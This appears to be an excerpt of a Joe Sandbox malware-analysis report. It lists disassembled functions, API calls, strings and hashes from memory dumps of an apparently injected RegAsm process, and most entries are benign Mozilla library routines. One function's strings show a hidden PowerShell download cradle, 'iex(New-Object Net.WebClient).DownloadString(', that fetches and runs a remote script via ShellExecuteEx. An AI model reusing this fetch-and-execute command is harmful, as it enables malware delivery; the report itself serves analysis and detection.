free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C0FB61E), ref: 6C0FB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C0FB61E,?,?,?,?,?,00000000), ref: 6C0FB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C0FB61E,?,?,?,?,?,00000000), ref: 6C0FB79A

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 45c3f3d6c41b149cb766bf6ecae8536076c2cf7df4fece399363246c09477ee5
Instruction ID: 4f13dc65ce5129ed3a25f8d9aaa86338c515a1e402c504673c73195897a1dad1
Opcode Fuzzy Hash: 45c3f3d6c41b149cb766bf6ecae8536076c2cf7df4fece399363246c09477ee5
Instruction Fuzzy Hash: DA41B5B2D002158FCB10DE68DC506AEB7F5BB84324B294629EC25E7780E731AA558BE1

Function 6C16B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C16B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C16B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C16B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C16B5F4
__Init_thread_footer.LIBCMT ref: 6C16B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C16B61F
std::_Facet_Register.LIBCPMT ref: 6C16B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C16B655

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 89126ee2ccc3a26e16251e63596fcf1f47eca72e875c9a005965c353936f8abd
Instruction ID: e7d325809bcc4eba9948396901b1b188bc332db2bb0b93e75960a66d14cead5e
Opcode Fuzzy Hash: 89126ee2ccc3a26e16251e63596fcf1f47eca72e875c9a005965c353936f8abd
Instruction Fuzzy Hash: 5131B371B00214CFCF01DF69C9589AEB7B5FF8A324B150519E91297740DB34A816DFA1

Function 00412D70 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

ShellExecuteEx.SHELL32(?), ref: 00412EC0

Strings

C:\ProgramData\, xrefs: 00412DA3
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00412E5B
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00412E18
.ps1, xrefs: 00412DF3
')", xrefs: 00412E13

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$.ps1$C:\ProgramData\$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 2215929589-1989157005
Opcode ID: 874e4f4d081287718d08cb58bfbd40fec586d35f5127b485101a1289a71c24ee
Instruction ID: d4bc49303887be4e6334ac6b4843b1e71d055e880c24203978c9a7e3e1ca0007
Opcode Fuzzy Hash: 874e4f4d081287718d08cb58bfbd40fec586d35f5127b485101a1289a71c24ee
Instruction Fuzzy Hash: 4641FB71E00119ABCF11FBA6DD469CDB7B4AF04308F61406BF514B7191DBB86E8A8B98

Function 6C141D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C141D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C141BE3,?,?,6C141D96,00000000), ref: 6C141D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C141BE3,?,?,6C141D96,00000000), ref: 6C141D4C
GetCurrentThreadId.KERNEL32 ref: 6C141DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C141DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C141DDA

Part of subcall function 6C141EF0: GetCurrentThreadId.KERNEL32 ref: 6C141F03
Part of subcall function 6C141EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C141DF2,00000000,00000000), ref: 6C141F0C
Part of subcall function 6C141EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C141F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C141DF4

Part of subcall function 6C10CA10: malloc.MOZGLUE(?), ref: 6C10CA26

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 3fcd3c280040097d2f117806dc74f5f2b4f9cb68fbc3c7b770b36b0ae27ebb8f
Instruction ID: 6d612d7d4e82e3c733658e5575646c9bbff344d916615fe49bdd630a12f08fc5
Opcode Fuzzy Hash: 3fcd3c280040097d2f117806dc74f5f2b4f9cb68fbc3c7b770b36b0ae27ebb8f
Instruction Fuzzy Hash: 6F4159B52017049FCB10DF29C489B56BBF9FF89358F20842DE95A87B41CB75E854CBA1

Function 6C1384E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C1384F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C13850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C13851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C13855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C13856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C1385AC

Part of subcall function 6C137670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C1385B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C13767F
Part of subcall function 6C137670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C1385B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C137693
Part of subcall function 6C137670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C1385B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C1376A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C1385B2

Part of subcall function 6C115E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C115EDB
Part of subcall function 6C115E90: memset.VCRUNTIME140(6C157765,000000E5,55CCCCCC), ref: 6C115F27
Part of subcall function 6C115E90: LeaveCriticalSection.KERNEL32(?), ref: 6C115FB2

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: eb5681a7c5616eeb15fd68d63c09f1b776639f9795b2e745dc70b2386a443f28
Instruction ID: 93fea929aaa9a08731929c3ccd506e779eaee9229b997c6d66227ea0a7bae068
Opcode Fuzzy Hash: eb5681a7c5616eeb15fd68d63c09f1b776639f9795b2e745dc70b2386a443f28
Instruction Fuzzy Hash: 1321AE742017118FEB15DB28C888A5AB7B5AF9530CF24492EE55FC3B41EB35F948CBA1

Function 6C13F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C12CBE8: GetCurrentProcess.KERNEL32(?,6C0F31A7), ref: 6C12CBF1
Part of subcall function 6C12CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C0F31A7), ref: 6C12CBFA

Part of subcall function 6C139420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C104A68), ref: 6C13945E
Part of subcall function 6C139420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C139470
Part of subcall function 6C139420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C139482
Part of subcall function 6C139420: __Init_thread_footer.LIBCMT ref: 6C13949F

GetCurrentThreadId.KERNEL32 ref: 6C13F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C13F598), ref: 6C13F621

Part of subcall function 6C1394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C1394EE
Part of subcall function 6C1394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C139508

GetCurrentThreadId.KERNEL32 ref: 6C13F637
AcquireSRWLockExclusive.KERNEL32(6C17F4B8,?,?,00000000,?,6C13F598), ref: 6C13F645
ReleaseSRWLockExclusive.KERNEL32(6C17F4B8,?,?,00000000,?,6C13F598), ref: 6C13F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C13F62A

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 82bf9af114aeeffa375de1659068c27051504e7a95a99734ec67ef3b244357cb
Instruction ID: e6354cdad9fecd4577b9dae689f62a1fb5c840a54b0ab3b4430adc22632455e6
Opcode Fuzzy Hash: 82bf9af114aeeffa375de1659068c27051504e7a95a99734ec67ef3b244357cb
Instruction Fuzzy Hash: C411A375301224ABDB14AF58C948AE67779FF8635CF501055EA1A83F41CB75A826CBB0

Function 0041FB72 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 0041FBBB
DName::operator+.LIBCMT ref: 0041FBC2
DName::DName.LIBCMT ref: 0041FBE4
DName::operator+.LIBCMT ref: 0041FBEB
DName::operator+.LIBCMT ref: 0041FBF2

Strings

throw(, xrefs: 0041FBB3, 0041FBDC

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Name::operator+$NameName::
String ID: throw(
API String ID: 168861036-3159766648
Opcode ID: c583159067cd8e4b4c14a0cc0b31c8d24c1882c9d1fe3de1599d1ee19ab36fe0
Instruction ID: d097572ec232f191e6714edeec8d169952ac7677f5be60ba020d57c7584bb2ae
Opcode Fuzzy Hash: c583159067cd8e4b4c14a0cc0b31c8d24c1882c9d1fe3de1599d1ee19ab36fe0
Instruction Fuzzy Hash: DF014830600209BFCF04EF64D856DED77B5EF44748F50406AF50197291EB78E98A8748

Function 6C13F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C139420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C104A68), ref: 6C13945E
Part of subcall function 6C139420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C139470
Part of subcall function 6C139420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C139482
Part of subcall function 6C139420: __Init_thread_footer.LIBCMT ref: 6C13949F

GetCurrentThreadId.KERNEL32 ref: 6C13F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C13F561

Part of subcall function 6C1394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C1394EE
Part of subcall function 6C1394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C139508

GetCurrentThreadId.KERNEL32 ref: 6C13F577
AcquireSRWLockExclusive.KERNEL32(6C17F4B8), ref: 6C13F585
ReleaseSRWLockExclusive.KERNEL32(6C17F4B8), ref: 6C13F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C13F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C13F56A
[I %d/%d] profiler_resume, xrefs: 6C13F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C13F499

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: a855c507b0d0c2f6ab68f539401c41d196fe3e640e6273e9bd6ee0738b453a0b
Instruction ID: e603e3d7e7919c4f810d5cc2908407c79f84260cbb7a0953750202ac0c441eac
Opcode Fuzzy Hash: a855c507b0d0c2f6ab68f539401c41d196fe3e640e6273e9bd6ee0738b453a0b
Instruction Fuzzy Hash: 27F0E276200224EFEB016F64D84CA6A7BBCFB8A2ADF000055FB1A83702CF358C059B71

Function 6C13F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C139420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C104A68), ref: 6C13945E
Part of subcall function 6C139420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C139470
Part of subcall function 6C139420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C139482
Part of subcall function 6C139420: __Init_thread_footer.LIBCMT ref: 6C13949F

GetCurrentThreadId.KERNEL32 ref: 6C13F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C13F598), ref: 6C13F621

Part of subcall function 6C1394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C1394EE
Part of subcall function 6C1394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C139508

GetCurrentThreadId.KERNEL32 ref: 6C13F637
AcquireSRWLockExclusive.KERNEL32(6C17F4B8,?,?,00000000,?,6C13F598), ref: 6C13F645
ReleaseSRWLockExclusive.KERNEL32(6C17F4B8,?,?,00000000,?,6C13F598), ref: 6C13F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C13F62A

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 70f1e937c43cdd20ae0f1e06f90aa1717078a31452f619390ef64fb33b189e66
Instruction ID: 3a27e6cb7388ddaa61d0483240896a648e70c40c10b1daa62e2b7af008c6d1bd
Opcode Fuzzy Hash: 70f1e937c43cdd20ae0f1e06f90aa1717078a31452f619390ef64fb33b189e66
Instruction Fuzzy Hash: D2F0E2B5300224AFDB016F64C84CA5A7B7CFB8A2ADF000055FA1A83742CF354C068B71

Function 6C1305F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C12CFAE,?,?,?,6C0F31A7), ref: 6C1305FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C12CFAE,?,?,?,6C0F31A7), ref: 6C130616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C0F31A7), ref: 6C13061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C0F31A7), ref: 6C130627

Strings

<jemalloc>, xrefs: 6C1305FA, 6C13060F
: (malloc) Error in VirtualFree(), xrefs: 6C13061B, 6C130625

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 5f9f81295d59e2965fbade9160804392e1e65f83ed45e02aab5ff47ae2fae50d
Instruction ID: ac8793a3b3d9c6e15fd053686bd84e347002d45339a4bef017c27c0427dfe61c
Opcode Fuzzy Hash: 5f9f81295d59e2965fbade9160804392e1e65f83ed45e02aab5ff47ae2fae50d
Instruction Fuzzy Hash: 5FE0C2E3A0116037F9142256BC86EBB761CDBC6534F080039FD0D83701EA4ABD2A51F7

Function 6C1005F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc57f5032ad3afe61f9c21f2f8beef9a92b3e143ce29e524206dc8df5fc796e4
Instruction ID: c9de0ea155a46549b1778e3bf0927a44b6c47533c7a69c5985a6682b1bde4954
Opcode Fuzzy Hash: dc57f5032ad3afe61f9c21f2f8beef9a92b3e143ce29e524206dc8df5fc796e4
Instruction Fuzzy Hash: E6A16B74A04655CFDB24CF29C594B9AFBF1BF48304F44866ED48A97B00EB34AA55CFA0

Function 6C1514A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C1514C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C1514E2
GetCurrentThreadId.KERNEL32 ref: 6C151546
InitializeConditionVariable.KERNEL32(?), ref: 6C1515BA
free.MOZGLUE(?), ref: 6C1516B4

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: dfc0b8eaa65218aa523db99658c3e31f891c3fb3b5ea821072238cf288fc4848
Instruction ID: 2be9cf431fcd5352c767c2dce0f46d5fdfcab4318e5c53bdcff20e8a57d3e4f5
Opcode Fuzzy Hash: dfc0b8eaa65218aa523db99658c3e31f891c3fb3b5ea821072238cf288fc4848
Instruction Fuzzy Hash: F561E176A01714DBDB12CF24C880BDAB7B0BF8A308F54851CED9A57701DB34E9A9CB91

Function 6C14DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C14DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C14D38A,?), ref: 6C14DC6F
free.MOZGLUE(?,?,?,?,?,6C14D38A,?), ref: 6C14DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C14D38A,?), ref: 6C14DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C14D38A,?), ref: 6C14DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C14D38A,?), ref: 6C14DD4A

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

